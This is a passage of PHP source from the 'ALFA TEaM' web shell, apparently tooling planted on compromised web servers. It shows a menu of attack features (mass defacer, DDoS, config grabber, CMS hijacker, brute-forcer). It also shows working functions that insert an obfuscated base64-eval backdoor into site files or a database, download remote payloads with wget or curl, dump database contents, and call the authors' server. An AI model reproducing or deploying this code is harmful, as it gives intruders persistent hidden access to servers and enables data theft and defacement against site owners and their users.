</tr>';
}
echo '<tr>
<td height="12"><span class="header_vars">PWD:</span></td>
<td colspan="2"><span id="header_cwd">'.$cwd_links.' </span><a href="#action=fileman&path='.$GLOBALS['home_cwd'].'" onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><span class="home_shell">[ Home Shell ]</span> </a></td>
</tr>
</table>
</div>
<div id="meunlist">
<ul>
';
$li = array('proc'=>'Process','phpeval'=>'Eval','sql'=>'SQL Manager','dumper'=>'Database Dumper','coldumper'=>'Column Dumper','hash'=>'En-Decoder','connect'=>'BC',
'zoneh'=>'ZONE-H','dos'=>'DDOS','safe'=>'ByPasser','cgishell'=>'Cgi Shell','ssiShell'=>'SSI SHELL','cpcrack'=>'Hash Tools',
'portscanner'=>'Port Scaner','basedir'=>'Open BaseDir','mail'=>'Fake Mail','ziper'=>'Compressor','deziper'=>'DeCompressor','IndexChanger'=>'Index Changer','pwchanger'=>'Add New Admin','ShellInjectors'=>'Shell Injectors',
'php2xml'=>'PHP2XML','cloudflare'=>'CloudFlare','Whmcs'=>'Whmcs DeCoder','symlink'=>'Symlink','MassDefacer'=>'Mass Defacer','Crackers'=>'BruteForcer','searcher'=>'Searcher','config_grabber'=>'Config Grabber','fakepage'=>'Fake Page','archive_manager'=>'Archive Manager',
'cmshijacker'=>'CMS Hijacker','remotedl'=>'Remote Upload','inbackdoor'=>'Install BackDoor','whois'=>'Whois','selfrm'=>'Remove Shell'
);
foreach($li as $key=>$value){
echo('<li><a id="menu_opt_'.$key.'" href="#action=options&path='.$GLOBALS['cwd'].'&opt='.$key.'" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt='.$key.'\';g(\''.$key.'\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">'.$value.'</a></li>'."\n");
}
echo '</ul><div style="text-align: center;padding: 6px;"><a id="menu_opt_settings" href="#action=options&path='.$GLOBALS['cwd'].'&opt=settings" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=settings\';g(\'settings\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">Alfa Settings</a><a style="display:none;" id="menu_opt_market" href="#action=options&path='.$GLOBALS['cwd'].'&opt=market" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=market\';g(\'market\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;"><span class="alfa_plus">Alfa market</span></a><a id="menu_opt_aboutus" href="#action=options&path='.$GLOBALS['cwd'].'&opt=aboutus" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=aboutus\';g(\'aboutus\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">About Us</a>'.(!empty($_COOKIE['AlfaUser']) && !empty($_COOKIE['AlfaPass']) ? '<a href="javascript:void(0);" onclick="alfaLogOut();"><font color="red">LogOut</font></a>':'').'</div></div><div id="filesman_tabs"><div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" fm_counter="1" path="'.$GLOBALS['cwd'].'" fm_id="1" id="filesman_tab_1" class="filesman_tab filesman-tab-active" onclick="filesmanTabController(this);"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span>File manager</span></div><div style="display:inline-block;" id="filesman_tabs_child"></div><div id="filesman_new_tab" class="filesman_tab" style="background: maroon;" onClick="alfaFilesManNewTab(c_,\'/\',1);">New Tab +</div></div>';}else{
@error_reporting(E_ALL ^ E_NOTICE);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('magic_quotes_runtime', 0);
@set_time_limit(0);
}}
function alfalogout(){
@setcookie("AlfaUser", null, 2012);
@setcookie("AlfaPass", null, 2012);
unset($_COOKIE['AlfaUser'],$_COOKIE['AlfaPass']);
echo("ok");
}
function showAnimation($name){
	return '-webkit-animation: '.$name.' 800ms ease-in-out forwards;-moz-animation: '.$name.' 800ms ease-in-out forwards;-ms-animation: '.$name.' 800ms ease-in-out forwards;animation: '.$name.' 800ms ease-in-out forwards;';
}
function __showicon($r){
	$s['btn']='http://solevisible.com/images/btn.png';
	$s['alfamini']='http://solevisible.com/images/alfamini.png';
	$s['loader']='http://solevisible.com/images/loader.svg';
	//return 'data:image/png;base64,'.__get_resource($s[$r]);
	return $s[$r];
}
function alfainbackdoor(){
alfahead();
echo '<div class=header><center><p><div class="txtfont_header">| Install BackDoor |</div></p><h3><a href=javascript:void(0) onclick="g(\'inbackdoor\',null,\'file\')">| In File | </a><a href=javascript:void(0) onclick="g(\'inbackdoor\',null,\'db\')">| In DataBase | </a></h3></center>';
$error = '<font color="red">Error In Inject BackDoor...!<br>File Loader is not Writable Or Not Exists...!</font>';
$success= '<font color="green">Success...!';
$textarea = "<div style='display:none;' id='backdoor_textarea'><div class='txtfont'>Your Shell:</div><p><textarea name='shell' rows='19' cols='103'><?php\n\techo('Alfa Team is Here...!');\n?></textarea></p></div>";
$select = "<div class='txtfont'>Use:</div> <select name='method' style='width:155px;' onChange='inBackdoor(this);'><option value='alfa'>Alfa Team Uploader</option><option value='my'>My Private Shell</option></select>";
$cwd = 'Example: /home/alfa/public_html/index.php';
if($_POST['alfa1']=='file'){
echo("<center><p><div class='txtfont_header'>| In File |</div></p><p><form onsubmit=\"g('inbackdoor',null,'file',this.method.value,this.file.value,this.shell.value,this.key.value);return false;\">{$select} <div class='txtfont'>Backdoor Loader:</div> <input type='text' name='file' size='50' placeholder='{$cwd}'> <div class='txtfont'>Key: </div> <input type='text' name='key' size='10' value='alfa'> <input type='submit' value=' '>{$textarea}</form></p></center>");
if($_POST['alfa2']!=''&&$_POST['alfa3']!=''&&$_POST['alfa4']!=''){
$method = $_POST['alfa2'];
$file = $_POST['alfa3'];
$shell = $_POST['alfa4'];
$key = str_replace(array('"','\''),'',trim($_POST['alfa5']));
if($key=='')$key='alfa';
if($method=='my'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS['__ALFA_SHELL_CODE'];}
$code = '<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="'.$key.'"){$func="cr"."ea"."te_"."fun"."ction";$x=$func("\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\$c));");$x("'.$shell.'");exit;}?>';
if(@is_file($file)&&@is_writable($file)){@file_put_contents($file,$code."\n".@file_get_contents($file));__alert($success."<br>Run With: ".basename($file)."?alfa=".$key.'</font>');}else{__alert($error);}}}
if($_POST['alfa1']=='db'){
echo("<center><p><div class='txtfont_header'>| In DataBase |</div></p>".getConfigHtml('all')."<p><form onsubmit=\"g('inbackdoor',null,'db',this.db_host.value,this.db_username.value,this.db_password.value,this.db_name.value,this.file.value,this.method.value,this.shell.value,this.key.value);return false;\">");
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Backdoor Loader: ', 'inputName' => 'file', 'inputValue' => $cwd, 'inputSize' => '50', 'placeholder' => true),
'td6' =>
array('color' => 'FFFFFF', 'tdName' => 'Key: ', 'inputName' => 'key', 'inputValue' => 'alfa', 'inputSize' => '50')
);
create_table($table);
echo("<p>{$select}</p>");
echo($textarea);
echo("<p><input type='submit' value=' '></p></form></p></center>");
if($_POST['alfa2']!=''&&$_POST['alfa3']!=''&&$_POST['alfa5']!=''&&$_POST['alfa6']!=''){
$dbhost = $_POST['alfa2'];
$dbuser = $_POST['alfa3'];
$dbpw = $_POST['alfa4'];
$dbname = $_POST['alfa5'];
$file = $_POST['alfa6'];
$method = $_POST['alfa7'];
$shell = $_POST['alfa8'];
$key = str_replace(array('"','\''),'',trim($_POST['alfa9']));
if($key=='')$key='alfa';
if($method=='my'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS['__ALFA_SHELL_CODE'];}
if($conn = mysqli_connect($dbhost,$dbuser,$dbpw,$dbname)){
$code = '<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="'.$key.'"){$conn=mysqli_connect("'.str_replace('"','\"',$dbhost).'","'.str_replace('"','\"',$dbuser).'","'.str_replace('"','\"',$dbpw).'","'.str_replace('"','\"',$dbname).'");$q=mysqli_query($conn,"SELECT `code` FROM alfa_bc LIMIT 0,1");$r=mysqli_fetch_assoc($q);$func="cr"."ea"."te_"."fun"."ction";$x=$func("\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\$c));");$x($r["code"]);exit;}?>';
if(@is_file($file)&&@is_writable($file)){
@mysqli_query($conn,'DROP TABLE `alfa_bc`');
@mysqli_query($conn,'CREATE TABLE `alfa_bc` (code LONGTEXT)');
@mysqli_query($conn,'INSERT INTO `alfa_bc` VALUES("'.$shell.'")');
@file_put_contents($file,$code."\n".@file_get_contents($file));
__alert($success."<br>Run With: ".basename($file)."?alfa=".$key.'</font>');}else{__alert($error);}}}}
echo('</div>');
alfafooter();
}
function alfawhois(){
echo("<div class='header'><center><p><div class='txtfont_header'>| Whois |</div></p><p><form onsubmit=\"g('whois',null,this.url.value,'>>');return false;\"><div class='txtfont'>Url: </div> <input type='text' name='url' style='text-align:center;' size='50' placeholder='google.com'> <input type='submit' value=' '></form></p></center>");
if($_POST['alfa2']=='>>'&&!empty($_POST['alfa1'])){
$site = str_replace(array('http://','https://','www.','ftp://'),'',$_POST['alfa1']);
$target = 'http://api.whoapi.com/?apikey=093b6cb9e6ea724e101928647df3e009&r=whois&domain='.$site;
$data = @file_get_contents($target);
if($data==''){$get = new AlfaCURL();$get->ssl = true;$data = $get->Send($target);}
$target = @json_decode($data,true);
echo __pre();
if(is_array($target)){echo($target["whois_raw"]);}else{echo alfaEx("whois ".$site);}}
echo("</div>");
}
function alfaremotedl(){
alfahead();
echo("<div class='header'><center><p><div class='txtfont_header'>| Upload From Url |</div></p><p>
<form onsubmit=\"g('remotedl',null,this.d.value,this.p.value,'>>');return false;\">
<p><div class='txtfont'>Url: </div>&nbsp;&nbsp;&nbsp;<input type='text' name='d' size='50'></p>
<div class='txtfont'>Path:</div> <input type='text' name='p' size='50' value='".$GLOBALS['cwd']."'><p><input type='submit' value=' '></p>
</form></p></center>");
if(isset($_POST['alfa1'],$_POST['alfa2'],$_POST['alfa3'])&&!empty($_POST['alfa1'])&&$_POST['alfa3']=='>>'){
echo __pre();
$url = $_POST['alfa1'];
$path = $_POST['alfa2'];
echo('<center>');
if(__download($url,$path)){
echo('<font color="green">Success...!</font>');
}else{
echo('<font color="red">Error...!</font>');
}
echo('</center>');
}
echo("</div>");
alfafooter();
}
function __download($url,$path=false){
if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false;
$saveas = basename(rawurldecode($url));
if($path){$saveas=$path.$saveas;}
if($content = __read_file($url)){
if(@is_file($saveas))@unlink($saveas);
if(__write_file($saveas, $content)){return true;}}
$buff = alfaEx("wget ".$url." -O ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("curl ".$url." -o ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("lwp-download ".$url." ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("lynx -source ".$url." > ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("GET ".$url." > ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("links -source ".$url." > ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("fetch -o ".$saveas." -p ".$url);
if(@is_file($saveas)) return true;
return false;
}
function clean_string($string){
  if(function_exists("iconv")){
	  $s = trim($string);
	  $s = iconv("UTF-8", "UTF-8//IGNORE", $s);
  }
  return $s;
}
function __read_file($file, $boom = true){
$content = false;
if($fh = @fopen($file, "rb")){
$content = "";
while(!feof($fh)){
$content .= $boom ? clean_string(fread($fh, 8192)) : fread($fh, 8192);
}
@fclose($fh);
}
if(empty($content)||!$content){
	$content = alfaEx("cat '".addslashes($file)."'");
}
return $content;
}
function alfaMarket(){
echo "<div class='header'>";
$curl = new AlfaCURL();
$content = $curl->Send("http://solevisible.com/market.php");
$data = @json_decode($content, true);
if(!empty($data)){
if($data["status"] == "open"){
	echo $data["content"];
}else{
	echo $data["error_msg"];
}
}else{
	echo "<div style='text-align:center;font-size:20px;'>Cant connect to the alfa market....! try later.</div>";
}
echo "</div>";
}
function alfaSettings(){
alfahead();
AlfaNum(6,7,8,9,10);
echo '<div class=header><center><p><div class="txtfont_header">| Settings |</div></p><h3><a href=javascript:void(0) onclick="g(\'settings\',null,null,null,null,null,null,null,null,\'main\')">| Generall Setting | </a></h3></center>';
if($_POST["alfa8"] == "main"){
echo '<p><center><div class="txtfont_header">| Settings |</div></p><form onSubmit="reloadSetting(this);return false;" method=\'post\'>';
$lg_array = array('0'=>'No','1'=>'Yes');
$penc_array = array('false'=>'No','true'=>'Yes');
$protect_html = "";
$icon_html = "";
$postEnc_html = "";
$login_html = "";
$cgiapi_html = "";
foreach($lg_array as $key=>$val)$protect_html .= '<option value="'.$key.'" '.($GLOBALS['DB_NAME']['safemode']=='1'?'selected':'').'>'.$val.'</option>';
foreach($lg_array as $key=>$val)$icon_html .= '<option value="'.$key.'" '.($GLOBALS['DB_NAME']['show_icons']=='1'?'selected':'').'>'.$val.'</option>';
foreach($penc_array as $key=>$val)$cgiapi_html .= '<option value="'.$key.'" '.(!empty($_POST['alfa9'])&&$_POST['alfa9']==$key?"selected":($GLOBALS["DB_NAME"]["cgi_api"]&&empty($_POST['alfa9'])?'selected':'')).'>'.$val.'</option>';
foreach($penc_array as $key=>$val)$postEnc_html .= '<option value="'.$key.'" '.(!empty($_POST['alfa7'])&&$_POST['alfa7']==$key?"selected":(__ALFA_POST_ENCRYPTION__&&empty($_POST['alfa7'])?'selected':'')).'>'.$val.'</option>';
$lg_array = array("gui"=>"GUI","500"=>"500 Internal Server Error","403"=>"403 Forbidden","404"=>"404 NotFound");
foreach($lg_array as $key=>$val)$login_html .= '<option value="'.$key.'" '.($GLOBALS['DB_NAME']['login_page']==$key?'selected':'').'>'.$val.'</option>';
echo '';
echo '<table border="1"><tbody><tr><td><div class="tbltxt" style="color:#FFFFFF">Protect:</div></td><td><select name="protect" style="width:100%;">'.$protect_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Cgi Api:</div></td><td><select name="cgi_api" style="width:100%;">'.$cgiapi_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Post Encryption:</div></td><td><select name="post_encrypt" style="width:100%;">'.$postEnc_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Show Icons:</div></td><td><select name="icon" style="width:100%;">'.$icon_html.'</select></td></tr><tr><tr><td><div class="tbltxt" style="color:#FFFFFF">login Page:</div></td><td><select style="width:100%;" name="lgpage">'.$login_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">UserName:</div></td><td><input type="text" style="width:95%;" name="username" value="'.(empty($_POST['alfa3'])?$GLOBALS['DB_NAME']['user']:$_POST['alfa3']).'" placeholder="solevisible"></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Password:</div></td><td><input type="text" style="width:95%;" name="password" placeholder="*****"></td></tr></tbody></table><input type="hidden" name="e" value="'.$GLOBALS['DB_NAME']['safemode'].'"><input type="hidden" name="s" value="'.$GLOBALS['DB_NAME']['show_icons'].'"><p><input type="submit" name="btn" value=" "></p></form></center>';
if($_POST['alfa5']=='>>'){
echo __pre();
if(!empty($_POST['alfa3'])){
$protect = $_POST['alfa1'];
$lgpage = $_POST['alfa2'];
$username = $_POST['alfa3'];
$password = md5($_POST['alfa4']);
$icon = $_POST['alfa6'];
$post_encrypt = $_POST['alfa7'];
$cgi_api_val = $_POST['alfa9'];
@chdir($GLOBALS['home_cwd']);
$basename = @basename($_SERVER['PHP_SELF']);
$data = @file_get_contents($basename);
$user_rand = $GLOBALS["DB_NAME"]["user_rand"];
$pass_rand = $GLOBALS["DB_NAME"]["pass_rand"];
$login_page_rand = $GLOBALS["DB_NAME"]["login_page_rand"];
$safemode_rand = $GLOBALS["DB_NAME"]["safemode_rand"];
$show_icons_rand = $GLOBALS["DB_NAME"]["show_icons_rand"];
$post_encryption_rand = $GLOBALS["DB_NAME"]["post_encryption_rand"];
$cgi_api_rand = $GLOBALS["DB_NAME"]["cgi_api_rand"];
$find_user = '/\''.$user_rand.'\'(.*?),/i';
$find_pw = '/\''.$pass_rand.'\'(.*?),/i';
$find_lg = '/\''.$login_page_rand.'\'(.*?),/i';
$find_p = '/\''.$safemode_rand.'\'(.*?),/i';
$icons = '/\''.$show_icons_rand.'\'(.*?),/i';
$postEnc = '/\''.$post_encryption_rand.'\'(.*?),/i';
$cgi_api_reg = '/\''.$cgi_api_rand.'\'(.*?),/i';
if(!empty($username)&&preg_match($find_user,$data,$e)){
$new = '\''.$user_rand.'\' => \''.$username.'\',';
$data = str_replace($e[0],$new,$data);
}
if(!empty($_POST['alfa4'])&&preg_match($find_pw,$data,$e)){
$new = '\''.$pass_rand.'\' => \''.$password.'\',';
$data = str_replace($e[0],$new,$data);
}
if(!empty($lgpage)&&preg_match($find_lg,$data,$e)){
$new = '\''.$login_page_rand.'\' => \''.$lgpage.'\',';
$data = str_replace($e[0],$new,$data);
}
if(!empty($find_p)&&preg_match($find_p,$data,$e)){
$new = '\''.$safemode_rand.'\' => \''.$protect.'\',';
$data = str_replace($e[0],$new,$data);
}
if(preg_match($icons,$data,$e)){
$new = '\''.$show_icons_rand.'\' => \''.$icon.'\',';
$data = str_replace($e[0],$new,$data);
}
if(preg_match($postEnc,$data,$e)){
$new = '\''.$post_encryption_rand.'\' => '.$post_encrypt.',';
$data = str_replace($e[0],$new,$data);
}
if(preg_match($cgi_api_reg,$data,$e)){
$new = '\''.$cgi_api_rand.'\' => '.$cgi_api_val.',';
$data = str_replace($e[0],$new,$data);
}
if(@file_put_contents($basename,$data)){
echo '<b>UserName: </b><font color="green"><b>'.$username.'</b></font><br /><b>Password: </b><font color="green"><b>'.$_POST['alfa4'].'</b></font><script>post_encryption_mode = '.$post_encrypt.';</script>';
}else{
__alert("<span style='color:red;'>File has no edit access...!</span>");
}
}else{
__alert("<span style='color:red;'>UserName is Empty !</span>");
}
}
}elseif($_POST["alfa8"] == "color"){
echo('<center><p><div class="txtfont_header">| Custom Color |</div></p><form onSubmit="reloadColors();return false;" method=\'post\'>');
echo '<table border="1"><tbody>';
$template = '<tr><td style="text-align:center;"><a href="http://solevisible.com/customcolors/{help}.png" target="_blank"><font color="#00FF00">Help</font></a></td><td style="text-align:center;"><div class="tbltxt">{index}</div></td><td><div class="tbltxt" style="margin-left:5px;">{target}:</div></td><td><input style="width:60px;" multi="{multi}" id="gui_{target}" onChange="colorHandler(this);" target=".{target}" type="color" value="{color}"></td><td><input type="text" style="text-align:center;" multi="{multi}" onkeyup="colorHandlerKey(this);" target=".{target}" id="input_{target}" class="colors_input" placeholder="#ffffff" value="{color}"></td></tr>';
$x = 1;
foreach($GLOBALS['__ALFA_COLOR__'] as $key => $value){
	$multi = "";
	if(is_array($value)){
		if(isset($value["multi_selector"])){
			$multi = __ZW5jb2Rlcg(json_encode($value));
		}
	}
	$value = alfa_getColor($key);
	$help = strtolower(str_replace(array(":", "+"), array("_", "_plus"), $key));
	echo str_replace(array("{index}", "{target}", "{color}", "{multi}", "{help}"), array($x++, $key, $value, $multi, $help), $template);
}
echo '<tr><td style="text-align:center;">-</td><td style="text-align:center;"><div class="tbltxt">*</div></td><td><div style="margin-left:5px;" class="tbltxt">Use Default Color:</div></td><td></td><td><center><input type="checkbox" id="use_default_color" value="1"></center></td></tr>';

echo '</tbody></table><p><input type="submit" name="btn" value=" "></p></form><p><button style="padding:4px;;margin-right:20px;" onclick="$(\'importFileBtn\').click();" class="button"> Import </button> <button style="padding:4px;margin-left:20px;" onclick="g(\'settings\',null,null,null,null,null,null,null,\'export\',\'color\')" class="button"> Export </button></center></p>';
if($_POST['alfa7']=='export'){
	echo __pre();
	$colors = is_array($GLOBALS["DB_NAME"]["color"])?$GLOBALS["DB_NAME"]["color"]:array();
	$glob_colors = $GLOBALS["__ALFA_COLOR__"];
	$array = array();
	foreach($glob_colors as $k => $v){
		if(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){
			$v = trim($colors[$k]);
		}else{
			$v = trim(is_array($v)?$v["key_color"]:$v);
		}
		$array[$k] = $v;
	}
	$file = "alfa_color_config_".date('Y-m-d-h_i_s').".conf";
	$config = json_encode($array, JSON_PRETTY_PRINT);
	if(!@file_put_contents($file, $config)){
		echo('<p><center>Color Config:<br><br><textarea rows="12" cols="70" type="text">'.$config.'</textarea></center></p>');
	}else{
		echo('<h3><p><center><a class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''.$file.'\', \'download\')"><font color="#0F0">Download Config</font></a></center></p></h3>');
	}
}
if($_POST['alfa2']=='>>'){
	echo __pre();
	$colors = json_decode($_POST["alfa1"],true);
	$array = "";
	$is_default = isset($_POST["alfa3"])&&$_POST["alfa3"]=="1"?true:false;
	$glob_colors = $GLOBALS["__ALFA_COLOR__"];
	foreach($glob_colors as $k => $v){
		if(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){
			$v = trim($colors[$k]);
		}else{
			$v = trim(is_array($v)?$v["key_color"]:$v);
		}
		$array .= '"'.trim($k).'" => "'.$v.'",';
	}
	@chdir($GLOBALS['home_cwd']);
	$basename = @basename($_SERVER['PHP_SELF']);
	$data = @file_get_contents($basename);
	$color = '/\'color\'(.*?)\),/s';
	if(preg_match($color,$data,$e)){
		$new = "'color' => array(".$array."),";
		$data = str_replace($e[0],$new,$data);
		if(@file_put_contents($basename, $data)){
			echo("<center><p><h3>[+] Success...</h3></p></center><script>location.reload();</script>");
		}else{
			echo("<center><p><h3>[-] We Not have permission to Edit shell...!</h3></p></center>");
		}
	}else{
		echo("<center><p><h3>[-] Error...!</h3></p></center>");
	}
}
}
echo('</div>');
alfafooter();
}
function alfaaboutus(){
alfahead();
echo '<div class="header">';
$news = new AlfaCURL();
$about_us = $news->Send("http://solevisible.com/aboutus.php");
if(empty($about_us)){
$about_us = "<pre><center><img src='http://solevisible.com/images/farvahar-iran.png'><br>
<b><font size='+3' color='#00A220'>&#9774; ~ PEACE ~ &#9774;</font><br><b>
<font color='#00A220'>Shell Coded By Sole Sad & Invisible (ALFA TEaM)</font><br>
<font color='#00A220'>Contact : solevisible@gmail.com</font><br>
<font color='#00A220'>Telegram Channel: @solevisible</font><br>
<font color='#FFFFFF'>Skype : ehsan.invisible</font><br>
<font color='#FFFFFF'>Skype : sole.sad</font><br>
<font color='#FF0000'>Persian Gulf For Ever</font><br>
<font color='#FF0000'>Iranian Programmers</font><br>
<font color='#FF0000'>############</font><br>
</center></pre><iframe src='tg://resolve?domain=solevisible' frameborder='0' width='0' height='0'></iframe>";
}
echo __pre().$about_us;
echo('</div>');
alfafooter();
}
function alfacoldumper(){
alfahead();
echo('<div class="header">');
AlfaNum(8,9,10);
echo "<center><br><div class='txtfont_header'>| Mysql Column Dumper |</div><br><br>".getConfigHtml('all')."<form method='post' onsubmit=\"var opt_id=this.getAttribute('opt_id');var delimiter='json';try{if($('dumper-delimiter-type').value == 'delimiter')delimiter=$('dumper-delimiter-input').value}catch(e){};g('coldumper',null,delimiter,JSON.stringify(col_dumper_selected_data[opt_id]),this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); col_dumper_selected_data[opt_id] = {};return false;\"><p>";
$delimiter = (!empty($_POST['alfa1']) ? $_POST['alfa1'] : '::');
$selected_data = json_decode($_POST['alfa2'], true);
$username = ($_POST['alfa3']);
$password = ($_POST['alfa4']);
$dbname = ($_POST['alfa5']);
$dfile = ($_POST['alfa6']);
$host = ($_POST['alfa7']);
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => $host, 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => $username, 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => $password, 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => $dbname, 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Output Path: ', 'inputName' => 'dfile', 'inputValue' => htmlspecialchars($GLOBALS['cwd']), 'inputSize' => '50')
);
create_table($table);
echo "<br><input type='submit' value=' ' name='Submit'></p></form></center>";
$db = false;
if(!empty($dbname)){
	$db = @mysqli_connect($host, $username, $password, $dbname);
}
if(count($selected_data) > 0){
	if($db){
		if(!is_dir($dfile)){
			$dfile = $GLOBALS['cwd'];
		}
		$tbls = "";
		$ext = '.txt';
		if($delimiter == 'json'){
			$ext = '.json';
		}
		foreach ($selected_data as $tbl => $cols) {
			$tables_query = mysqli_query($db, "SELECT ".implode(',', $cols)." FROM $tbl");
			$file_name = $dfile.'/'.$dbname.'.'.$tbl.$ext;
			$fp = fopen($file_name, "w");
			$data = array();
			while($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)){
				if($delimiter == "json"){
					$col_arr = array();
					foreach ($row as $key => $value) {
						if(empty($value)){
							$value = "[empty]";
						}
						 $col_arr[$key] = $value;
					}
					$data[$tbl][] = $col_arr;
				}else{
					$data = "";
					foreach ($row as $key => $value) {
						if(empty($value)){
							$value = "[empty]";
						}
						$data .= $value . $delimiter;
					}
					fwrite($fp, $data ."\n");
				}
			}
			if($delimiter == "json"){
				fwrite($fp, json_encode($data));
			}
			fclose($fp);
			$tbls .= "Done ~~~> ".$file_name."<br>";
		}
		echo __pre();
		echo "<center><font color='#00FF00'>".$tbls."</font></center>";
	}
}
if(!empty($dbname) && count($selected_data) == 0){
//echo __pre();
if($db){
	echo("<hr><div style='text-align:center;margin-bottom:5px;font-weight:bolder;'><span>[ Select your tables and columns for dumping data ]</span></div>");
	echo("<div style='text-align:center;'><span>Output Type: </span><select id='dumper-delimiter-type' onchange='colDumplerSelectType(this);' name='output_type'><option value='delimiter' selected>delimiter</option><option value='json'>json</option></select><div id='coldumper-delimiter-input' style='display:inline;'><span> Delimiter: </span><input id='dumper-delimiter-input' style='text-align:center;' type='text' name='delimiter' placeholder='eg: ,'></div></div>");
	$data = array();
	$tables_query = mysqli_query($db, "SELECT table_name FROM information_schema.tables WHERE table_schema = database();");
	while($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)){
		$data[$row["table_name"]] = array();
		$table_count_q = mysqli_query($db, "SELECT count(*) FROM `".$row['table_name']."`");
		$table_count = mysqli_fetch_row($table_count_q);
		$data[$row["table_name"]]["data_count"] = $table_count[0];
		$columns_query = mysqli_query($db, "SELECT column_name FROM information_schema.columns WHERE table_name = '".$row['table_name']."'");
		while($row2 = mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){
			$data[$row["table_name"]]["cols"][] = $row2["column_name"];
		}
	}
	mysqli_close($db);

	echo '<ul id="myUL">';
	foreach($data as $tbl => $cols){
	    echo '<li><span style="color:#00FF00;" class="box">'.$tbl.' ('.$cols["data_count"].')</span><ul class="nested">';
	    foreach($cols["cols"] as $col){
	        echo '<li tbl="'.$tbl.'"><span style="color:#00FF00;" tbl="'.$tbl.'" class="box sub-box">' . $col . '</span></li>';
	    }
	    echo '</ul></li>';
	}
	echo '</ul>';
}else{
echo('<center>mysqli_connect : Error!</center>');
}
}
echo('</div>');
alfafooter();
}
function alfaDumper(){
alfahead();
echo('<div class="header">');
AlfaNum(8,9,10);
echo "<center><br><div class='txtfont_header'>| Mysql Database Dumper |</div><br><br>".getConfigHtml('all')."<form method='post' onsubmit=\"g('dumper',null,null,null,this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); return false;\"><p>";
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Dump Path: ', 'inputName' => 'dfile', 'inputValue' => htmlspecialchars($GLOBALS['cwd']).'alfa.sql', 'inputSize' => '50')
);
create_table($table);
